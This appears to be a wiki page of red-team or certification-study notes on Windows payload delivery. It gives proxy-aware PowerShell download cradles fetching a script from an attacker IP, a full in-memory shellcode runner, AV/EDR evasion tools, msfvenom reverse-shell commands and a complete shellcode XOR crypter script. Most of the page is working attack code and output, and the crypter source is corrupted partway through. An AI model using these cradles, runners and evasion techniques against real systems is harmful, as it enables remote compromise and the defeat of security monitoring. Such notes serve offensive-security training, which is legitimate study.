&#039;&#039;&#039;192.168.168.12 - Proxy server&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
=== Setting up proxy ===&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== List of proxy-aware PowerShell cradles ===&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Net.WebClient (as you&#039;ve seen)&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   $wc = New-Object System.Net.WebClient&lt;br /&gt;
   $wc.DownloadString(&#039;http://example.com/script.ps1&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;Net.WebClient&amp;lt;/code&amp;gt; class respects the system proxy settings by default.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Invoke-WebRequest and Invoke-RestMethod&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   Invoke-WebRequest -Uri &#039;http://example.com/script.ps1&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
or&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   Invoke-RestMethod -Uri &#039;http://example.com/script.ps1&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
These cmdlets are available in PowerShell v3 and later and are proxy-aware. They will use the system proxy settings unless overridden with the &amp;lt;code&amp;gt;-Proxy&amp;lt;/code&amp;gt; parameter.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;System.Net.HttpWebRequest&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   $req = [System.Net.HttpWebRequest]::Create(&#039;http://example.com/script.ps1&#039;)&lt;br /&gt;
   $resp = $req.GetResponse()&lt;br /&gt;
   $sr = New-Object IO.StreamReader($resp.GetResponseStream())&lt;br /&gt;
   $result = $sr.ReadToEnd()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Like &amp;lt;code&amp;gt;Net.WebClient&amp;lt;/code&amp;gt;, the &amp;lt;code&amp;gt;HttpWebRequest&amp;lt;/code&amp;gt; class also respects system proxy settings by default. Its behavior can be altered by changing the &amp;lt;code&amp;gt;.Proxy&amp;lt;/code&amp;gt; property of the request object.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;BitsTransfer&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   Import-Module BitsTransfer&lt;br /&gt;
   Start-BitsTransfer -Source &#039;http://example.com/script.ps1&#039; -Destination &#039;path\to\save&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;BitsTransfer&amp;lt;/code&amp;gt; module is used to transfer files, and it is proxy-aware. It respects system proxy settings.&lt;br /&gt;
&lt;br /&gt;
=== SYSTEM Proxy with Net.WebClient ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Create a Proxy Configuration for SYSTEM&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Proxy settings per user are stored in the registry at:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
  HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\InternetSettings&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* When accessing as SYSTEM, &amp;lt;code&amp;gt;HKEY_CURRENT_USER&amp;lt;/code&amp;gt; does not exist. Use &amp;lt;code&amp;gt;HKEY_USERS&amp;lt;/code&amp;gt; instead.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;PowerShell to Setup Proxy for SYSTEM Integrity&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Map HKEY_USERS registry hive:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   New-PSDrive -Name HKU -PSProvider Registry -Root HKEY_USERS | Out-Null&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Find the correct user hive based on SID:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   $keys = Get-ChildItem &#039;HKU:\&#039;&lt;br /&gt;
   ForEach ($key in $keys) {&lt;br /&gt;
       if ($key.Name -like &amp;quot;*S-1-5-21-*&amp;quot;) {&lt;br /&gt;
           $start = $key.Name.substring(10)&lt;br /&gt;
           break&lt;br /&gt;
       }&lt;br /&gt;
   }&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Fetch the proxy settings:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   $proxyAddr = (Get-ItemProperty -Path &amp;quot;HKU:$start\Software\Microsoft\Windows\CurrentVersion\Internet Settings\&amp;quot;).ProxyServer&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Create and assign the proxy object:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   [system.net.webrequest]::DefaultWebProxy = new-object System.Net.WebProxy(&amp;quot;http://$proxyAddr&amp;quot;)&lt;br /&gt;
   $wc = new-object system.net.WebClient&lt;br /&gt;
   $wc.DownloadString(&amp;quot;http://192.168.119.120/run2.ps1&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Full Code for SYSTEM Proxy-Aware Download Cradle ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
New-PSDrive -Name HKU -PSProvider Registry -Root HKEY_USERS | Out-Null&lt;br /&gt;
$keys = Get-ChildItem &#039;HKU:\&#039;&lt;br /&gt;
ForEach ($key in $keys) {&lt;br /&gt;
    if ($key.Name -like &amp;quot;*S-1-5-21-*&amp;quot;) {&lt;br /&gt;
        $start = $key.Name.substring(10)&lt;br /&gt;
        break&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
$proxyAddr = (Get-ItemProperty -Path &amp;quot;HKU:$start\Software\Microsoft\Windows\CurrentVersion\Internet Settings\&amp;quot;).ProxyServer&lt;br /&gt;
[system.net.webrequest]::DefaultWebProxy = new-object System.Net.WebProxy(&amp;quot;http://$proxyAddr&amp;quot;)&lt;br /&gt;
$wc = new-object system.net.WebClient&lt;br /&gt;
$wc.DownloadString(&amp;quot;http://192.168.119.120/run2.ps1&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Note&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Close the PowerShell_ISE prompt and rerun the code if previous steps have been executed, as mapping &amp;lt;code&amp;gt;HKEY_USERS&amp;lt;/code&amp;gt; will persist across reruns.&lt;br /&gt;
&lt;br /&gt;
== Reflection Load (In-memory) ==&lt;br /&gt;
&lt;br /&gt;
=== Powershell ===&lt;br /&gt;
&lt;br /&gt;
Generate shellcode based on the architecture of the vicitim. If run as a Word Macro its most likely x86. See Dropper/VBA for code to use in Word Macro. Host the code below on the attacker through Apache2 or SimpleHTTPserver and run the VBA on Victim.&lt;br /&gt;
&lt;br /&gt;
This code below is same as &amp;lt;code&amp;gt;Simple Shellcode Runner Powershell Ver 2&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
function LookupFunc {&lt;br /&gt;
    Param ($moduleName, $functionName)&lt;br /&gt;
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |&lt;br /&gt;
              Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split(&#039;\\&#039;)[-1].&lt;br /&gt;
              Equals(&#039;System.dll&#039;) }).GetType(&#039;Microsoft.Win32.UnsafeNativeMethods&#039;)&lt;br /&gt;
    $tmp=@()&lt;br /&gt;
    $assem.GetMethods() | ForEach-Object {&lt;br /&gt;
        If($_.Name -eq &amp;quot;GetProcAddress&amp;quot;) {&lt;br /&gt;
            $tmp+=$_&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    return $tmp[0].Invoke($null, @(($assem.GetMethod(&#039;GetModuleHandle&#039;)).Invoke($null,&lt;br /&gt;
    @($moduleName)), $functionName))&lt;br /&gt;
}&lt;br /&gt;
function getDelegateType {&lt;br /&gt;
    Param (&lt;br /&gt;
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,&lt;br /&gt;
        [Parameter(Position = 1)] [Type] $delType = [Void]&lt;br /&gt;
    )&lt;br /&gt;
    $type = [AppDomain]::CurrentDomain.&lt;br /&gt;
            DefineDynamicAssembly((New-Object System.Reflection.AssemblyName(&#039;ReflectedDelegate&#039;)),&lt;br /&gt;
            [System.Reflection.Emit.AssemblyBuilderAccess]::Run).&lt;br /&gt;
            DefineDynamicModule(&#039;InMemoryModule&#039;, $false).&lt;br /&gt;
            DefineType(&#039;MyDelegateType&#039;, &#039;Class, Public, Sealed, AnsiClass, AutoClass&#039;,&lt;br /&gt;
            [System.MulticastDelegate])&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineConstructor(&#039;RTSpecialName, HideBySig, Public&#039;,&lt;br /&gt;
    [System.Reflection.CallingConventions]::Standard, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineMethod(&#039;Invoke&#039;, &#039;Public, HideBySig, NewSlot, Virtual&#039;, $delType, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    return $type.CreateType()&lt;br /&gt;
}&lt;br /&gt;
$lpMem =&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(&lt;br /&gt;
    (LookupFunc kernel32.dll VirtualAlloc),&lt;br /&gt;
    (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))&lt;br /&gt;
).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)&lt;br /&gt;
[Byte[]] $buf = 0xfc,0xe8,0x82,0x0,0x0,0x0...&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length)&lt;br /&gt;
$hThread =&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(&lt;br /&gt;
    (LookupFunc kernel32.dll CreateThread),&lt;br /&gt;
    (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))&lt;br /&gt;
).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero)&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(&lt;br /&gt;
    (LookupFunc kernel32.dll WaitForSingleObject),&lt;br /&gt;
    (getDelegateType @([IntPtr], [Int32]) ([Int]))&lt;br /&gt;
).Invoke($hThread, 0xFFFFFFFF)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Shellcode obfuscation script ==&lt;br /&gt;
&lt;br /&gt;
There are many obfuscation tools available online that are great at obfuscating shellcode and help bypass AV. Not all will work right out of the box, but there might be some. Some might need tweaking in order to bypass AV, some might not work at all.&lt;br /&gt;
&lt;br /&gt;
=== Espio ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/Konis-Bros/Espio/tree/main Konis-Bros/Espio: Shellcode obfuscation tool to avoid AV/EDR. (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
# The obfuscation method usid is xor&lt;br /&gt;
def obfuscate_payload(payload, key):&lt;br /&gt;
    encrypted_payload = &amp;quot;&amp;quot;&lt;br /&gt;
    for i in range(len(payload)):&lt;br /&gt;
        obf_char = chr(payload[i] ^ ord(key[i % len(key)]))&lt;br /&gt;
        hex_char = hex(ord(obf_char))&lt;br /&gt;
        if len(hex_char) == 3:&lt;br /&gt;
            hex_char = f&amp;quot;0x0{hex_char[-1]}&amp;quot;&lt;br /&gt;
        encrypted_payload += hex_char&lt;br /&gt;
    encrypted_payload_bytes = encrypted_payload.encode(&amp;quot;UTF-8&amp;quot;)&lt;br /&gt;
    obfuscated_payload_bytes = base64.b64encode(encrypted_payload_bytes)&lt;br /&gt;
    obfuscated_payload = obfuscated_payload_bytes.decode(&amp;quot;UTF-8&amp;quot;)&lt;br /&gt;
    return &amp;quot;&amp;quot;.join(obfuscated_payload)&lt;br /&gt;
&lt;br /&gt;
def generate_key():&lt;br /&gt;
    letters = [chr(ascii_value) for ascii_value in range(33, 127)]&lt;br /&gt;
    key = &amp;quot;&amp;quot;.join(random.choices(letters, k=random.randint(100, 500)))&lt;br /&gt;
    return key&lt;br /&gt;
# In main.cpp the decryption routine&lt;br /&gt;
	int keyIndex = 0;&lt;br /&gt;
	for (int i = 0; i &amp;lt; encryptedPayloadSize; i += 4)&lt;br /&gt;
	{&lt;br /&gt;
		std::string currentByte = std::string() + encryptedPayload[i] + encryptedPayload[i + 1] + encryptedPayload[i + 2] + encryptedPayload[i + 3];&lt;br /&gt;
		payload += stol(currentByte, nullptr, 0) ^ key[keyIndex++ % keySize];&lt;br /&gt;
	}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Scarecrow ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/optiv/ScareCrow optiv/ScareCrow: ScareCrow - Payload creation framework designed around EDR bypass. (github.com)]&lt;br /&gt;
&lt;br /&gt;
ScareCrow is a payload creation framework for side loading (not injecting) into a legitimate Windows process (bypassing Application Whitelisting controls). Once the DLL loader is loaded into memory, it utilizes a technique to flush an EDR’s hook out of the system DLLs running in the process&#039;s memory. This works because we know the EDR’s hooks are placed when a process is spawned.&lt;br /&gt;
&lt;br /&gt;
[https://adamsvoboda.net/evading-edr-with-scarecrow/ Evading EDR in 15 Minutes with ScareCrow (adamsvoboda.net)]&lt;br /&gt;
&lt;br /&gt;
We generate a raw shellcode using ex. Metasploit, Cobalt strik etc and then pass it to Scarecrow We will then get a loader back that will implement some common EDR evasion techniques.&lt;br /&gt;
&lt;br /&gt;
ScareCrow takes your raw shellcode and encrypts it using AES. This will help with on-disk detection when AV/EDR scans the loader.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/opt/ScareCrow/ScareCrow -I stager.bin -Loader binary -domain microsoft.com&lt;br /&gt;
# Check -h for detailed info.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ShellCrypt ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/iilegacyyii/Shellcrypt iilegacyyii/Shellcrypt: A QoL tool to obfuscate shellcode. In the future will be able to chain encoding/encryption/compression methods. (github.com)]&lt;br /&gt;
&lt;br /&gt;
== Encryption Methods ==&lt;br /&gt;
&lt;br /&gt;
* AES (128-bit CBC)&lt;br /&gt;
&lt;br /&gt;
* ChaCha20&lt;br /&gt;
&lt;br /&gt;
* RC4&lt;br /&gt;
&lt;br /&gt;
* Salsa20&lt;br /&gt;
&lt;br /&gt;
* XOR&lt;br /&gt;
&lt;br /&gt;
== [https://github.com/iilegacyyii/Shellcrypt#supported-formats https://github.com/iilegacyyii/Shellcrypt#supported-formats]Supported Formats ==&lt;br /&gt;
&lt;br /&gt;
* C&lt;br /&gt;
&lt;br /&gt;
* C#&lt;br /&gt;
&lt;br /&gt;
* Nim&lt;br /&gt;
&lt;br /&gt;
* Golang&lt;br /&gt;
&lt;br /&gt;
* Python&lt;br /&gt;
&lt;br /&gt;
* Powershell&lt;br /&gt;
&lt;br /&gt;
* Visual Basic for Applications (VBA)&lt;br /&gt;
&lt;br /&gt;
* Visual Basic Script (VBS)&lt;br /&gt;
&lt;br /&gt;
* Rust&lt;br /&gt;
&lt;br /&gt;
* Raw&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python3 shellcrypt.py -i shellcode.bin -e xor -f csharp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Shellcode injection techniques ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/plackyhacker/Shellcode-Injection-Techniques/tree/master plackyhacker/Shellcode-Injection-Techniques: A collection of C# shellcode injection techniques. All techniques use an AES encrypted meterpreter payload. I will be building this project up as I learn, discover or develop more techniques. Some techniques are better than others at bypassing AV. (github.com)]&lt;br /&gt;
&lt;br /&gt;
From github: &amp;quot;A collection of C# shellcode injection techniques. All techniques use an AES encrypted meterpreter payload.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
* Assembly Injection&lt;br /&gt;
&lt;br /&gt;
* Shellcode Runner&lt;br /&gt;
&lt;br /&gt;
* Classic Injection&lt;br /&gt;
&lt;br /&gt;
* Thread Hijacking&lt;br /&gt;
&lt;br /&gt;
* Local Thread Hijacking&lt;br /&gt;
&lt;br /&gt;
* Asychronous Procedure Call Injection&lt;br /&gt;
&lt;br /&gt;
* Process Hollowing&lt;br /&gt;
&lt;br /&gt;
* Inter-Process Mapped View&lt;br /&gt;
&lt;br /&gt;
* Atom Bombing&lt;br /&gt;
&lt;br /&gt;
== Shellcode Encryptors ==&lt;br /&gt;
&lt;br /&gt;
=== Shellcode Encryptors - Helper code ===&lt;br /&gt;
&lt;br /&gt;
Below are codes that will encrypt the shellcode you provide. Compile in Visual Studios and run them.&lt;br /&gt;
&lt;br /&gt;
==== ShellcodeCrypter-bin.py ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root㉿kali)-[/home/kali/Desktop/osep]&lt;br /&gt;
└─# msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.45.156 LPORT=443 -f raw -o shell.bin&lt;br /&gt;
&lt;br /&gt;
┌──(root㉿kali)-[/home/kali/Desktop/osep]&lt;br /&gt;
└─# python3 shellcode-bin.py shell.bin cs xor 0xfa&lt;br /&gt;
[i] Generating payload for path shell.bin.&lt;br /&gt;
[i] Encoding payload with type xor and key 0xfa&lt;br /&gt;
[+] Encoded payload (CSharp):&lt;br /&gt;
// Payload xor-encoded with key 0xfa&lt;br /&gt;
byte[] buf = new byte[68] {&lt;br /&gt;
0xcb,0x21,0x0d,0x19,0xa9,0xb9,0xa9,0x90,0xf8,0x73,0x1b,0x4a,0x9c,&lt;br /&gt;
0x37,0x7a,0x69,0xa3,0x4a,0xc5,0x37,0x7a,0xb3,0x83,0x03,0x92,0x3a,&lt;br /&gt;
0x52,0xd7,0x66,0x92,0xf8,0xfa,0xfb,0x41,0x73,0x1b,0x4a,0x9c,0xaa,&lt;br /&gt;
0xab,0xa9,0x49,0xf9,0x73,0x1b,0x37,0x7a,0xa8,0x92,0x94,0xd5,0x89,&lt;br /&gt;
0x92,0x92,0xd5,0xd5,0x98,0x93,0x73,0x19,0xa8,0xa9,0x73,0x1b,0x4a,&lt;br /&gt;
0xf1,0x37,0x7a&lt;br /&gt;
};&lt;br /&gt;
[i] Decoding function:&lt;br /&gt;
for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
    {&lt;br /&gt;
        buf[i] = (byte)((uint)buf[i] ^ 0xfa);&lt;br /&gt;
    }&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
# ShellcodeCrypter-bin.py&lt;br /&gt;
&lt;br /&gt;
#!/usr/bin/python3&lt;br /&gt;
# Basic shellcode crypter for C# payloads&lt;br /&gt;
# By Cas van Cooten&lt;br /&gt;
import re&lt;br /&gt;
import platform&lt;br /&gt;
import argparse&lt;br /&gt;
import subprocess&lt;br /&gt;
from random import randint&lt;br /&gt;
if platform.system() != &amp;quot;Linux&amp;quot;:&lt;br /&gt;
    exit(&amp;quot;[x] ERROR: Only Linux is supported for this utility script.&amp;quot;)&lt;br /&gt;
class bcolors:&lt;br /&gt;
    OKBLUE = &#039;\033[94m&#039;&lt;br /&gt;
    OKGREEN = &#039;\033[92m&#039;&lt;br /&gt;
    FAIL = &#039;\033[91m&#039;&lt;br /&gt;
    ENDC = &#039;\033[0m&#039;&lt;br /&gt;
    BOLD = &#039;\033[1m&#039;&lt;br /&gt;
# Parse input arguments&lt;br /&gt;
def auto_int(x):&lt;br /&gt;
    return int(x, 0)&lt;br /&gt;
parser = argparse.ArgumentParser()&lt;br /&gt;
parser.add_argument(&amp;quot;path&amp;quot;, help=&amp;quot;the path to load the raw shellcode payload from&amp;quot;, nargs=&#039;?&#039;, default=&amp;quot;/tmp/payload.bin&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;format&amp;quot;, help=&amp;quot;the language to format the output in (&#039;cs&#039; or &#039;cpp&#039;)&amp;quot;, nargs=&#039;?&#039;, default=&amp;quot;cs&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;encoding&amp;quot;, help=&amp;quot;the encoding type to use (&#039;xor&#039; or &#039;rot&#039;)&amp;quot;, nargs=&#039;?&#039;, default=&amp;quot;xor&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;key&amp;quot;, help=&amp;quot;the key to encode the payload with (integer)&amp;quot;, type=auto_int, nargs=&#039;?&#039;, default=randint(1,255))&lt;br /&gt;
args = parser.parse_args()&lt;br /&gt;
# Generate the shellcode given the input path&lt;br /&gt;
print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Generating payload for path {bcolors.OKGREEN}{args.path}{bcolors.ENDC}.&amp;quot;)&lt;br /&gt;
try:&lt;br /&gt;
    with open(args.path, &amp;quot;rb&amp;quot;) as f:&lt;br /&gt;
        payload = f.read()&lt;br /&gt;
except:&lt;br /&gt;
    exit(f&#039;{bcolors.BOLD}{bcolors.FAIL}[-] Cannot read file: {args.path}{bcolors.ENDC}&#039;)&lt;br /&gt;
# Format the output payload&lt;br /&gt;
if args.format == &amp;quot;cs&amp;quot;:&lt;br /&gt;
    # Encode the payload with the chosen type and key&lt;br /&gt;
    print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Encoding payload with type {bcolors.OKGREEN}{args.encoding}{bcolors.OKBLUE} and key {bcolors.OKGREEN}{hex(args.key)}{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    encodedPayload = []&lt;br /&gt;
    payloadFormatted = &amp;quot;&amp;quot;&lt;br /&gt;
    for byte in payload:&lt;br /&gt;
        byteInt = int(byte)&lt;br /&gt;
        if args.encoding == &amp;quot;xor&amp;quot;:&lt;br /&gt;
            byteInt = byteInt ^ args.key&lt;br /&gt;
        elif args.encoding == &amp;quot;rot&amp;quot;:&lt;br /&gt;
            byteInt = byteInt + args.key &amp;amp; 255&lt;br /&gt;
        else:&lt;br /&gt;
            exit(f&amp;quot;{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid encoding type.{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
        encodedPayload.append(&amp;quot;{0:#0{1}x}&amp;quot;.format(byteInt,4))&lt;br /&gt;
    payLen = len(encodedPayload)&lt;br /&gt;
    encodedPayload = re.sub(&amp;quot;(.{65})&amp;quot;, &amp;quot;\\1\n&amp;quot;, &#039;,&#039;.join(encodedPayload), 0, re.DOTALL)&lt;br /&gt;
    payloadFormatted += f&amp;quot;// Payload {args.encoding}-encoded with key {hex(args.key)}\n&amp;quot;&lt;br /&gt;
    payloadFormatted += f&amp;quot;byte[] buf = new byte[{str(payLen)}] {{\n{encodedPayload.strip()}\n}};&amp;quot;&lt;br /&gt;
    if payLen &amp;gt; 1000:&lt;br /&gt;
        f = open(&amp;quot;/tmp/payload.txt&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
        f.write(payloadFormatted)&lt;br /&gt;
        f.close()&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+]{bcolors.OKBLUE} Encoded payload written to {bcolors.OKGREEN}/tmp/payload.txt{bcolors.OKBLUE} in CSharp format!{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    else:&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+]{bcolors.OKBLUE} Encoded payload (CSharp):{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
        print(payloadFormatted + &amp;quot;\n&amp;quot;)&lt;br /&gt;
    print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Decoding function:{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    if args.encoding == &amp;quot;xor&amp;quot;:&lt;br /&gt;
        decodingFunc = f&amp;quot;&amp;quot;&amp;quot;for (int i = 0; i  1000:&lt;br /&gt;
        f = open(&amp;quot;/tmp/payload.txt&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
        f.write(payloadFormatted)&lt;br /&gt;
        f.close()&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+]{bcolors.OKBLUE} Encoded payload written to {bcolors.OKGREEN}/tmp/payload.txt{bcolors.OKBLUE} in C++ format!{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    else:&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+]{bcolors.OKBLUE} Encoded payload (C++):{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
        print(payloadFormatted + &amp;quot;\n&amp;quot;)&lt;br /&gt;
    # Provide the decoding function for the heck of it&lt;br /&gt;
    print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Decoding function:{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    if args.encoding == &amp;quot;xor&amp;quot;:&lt;br /&gt;
        decodingFunc = f&amp;quot;&amp;quot;&amp;quot;char bufferx[sizeof buffer];&lt;br /&gt;
int i;&lt;br /&gt;
for (i = 0; i &amp;lt; sizeof bufferx; ++i)&lt;br /&gt;
    bufferx[i] = (char)(buffer[i] ^ {hex(args.key)});&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
    if args.encoding == &amp;quot;rot&amp;quot;:&lt;br /&gt;
        decodingFunc = f&amp;quot;&amp;quot;&amp;quot;char bufferx[sizeof buffer];&lt;br /&gt;
int i;&lt;br /&gt;
for (i = 0; i &amp;lt; sizeof bufferx; ++i)&lt;br /&gt;
    bufferx[i] = (char)(buffer[i] - {hex(args.key)} &amp;amp; 255);&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
    print(decodingFunc)&lt;br /&gt;
else:&lt;br /&gt;
    exit(f&amp;quot;{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid formatting type (choose &#039;cs&#039; for CSharp or &#039;cpp&#039; for C++).{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== shellcodeCrypter-msfvenom.py ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root㉿kali)-[/home/kali/Desktop/osep]&lt;br /&gt;
└─# python3 shellcodecrypter.py 192.168.45.156 443 cpp xor 0xfa linux/x64/meterpreter/reverse_tcp&lt;br /&gt;
[i] Generating payload linux/x64/meterpreter/reverse_tcp for LHOST=192.168.45.156 and LPORT=443&lt;br /&gt;
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload&lt;br /&gt;
[-] No arch selected, selecting arch: x64 from the payload&lt;br /&gt;
No encoder specified, outputting raw payload&lt;br /&gt;
Payload size: 130 bytes&lt;br /&gt;
Final size of csharp file: 691 bytes&lt;br /&gt;
[i] Encoding payload with type xor and key 250&lt;br /&gt;
[+] Encoded payload (C++):&lt;br /&gt;
// msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.45.156 LPORT=443 EXITFUNC=thread -f csharp&lt;br /&gt;
// xor-encoded with key 0xfa&lt;br /&gt;
unsigned char buffer[] =&lt;br /&gt;
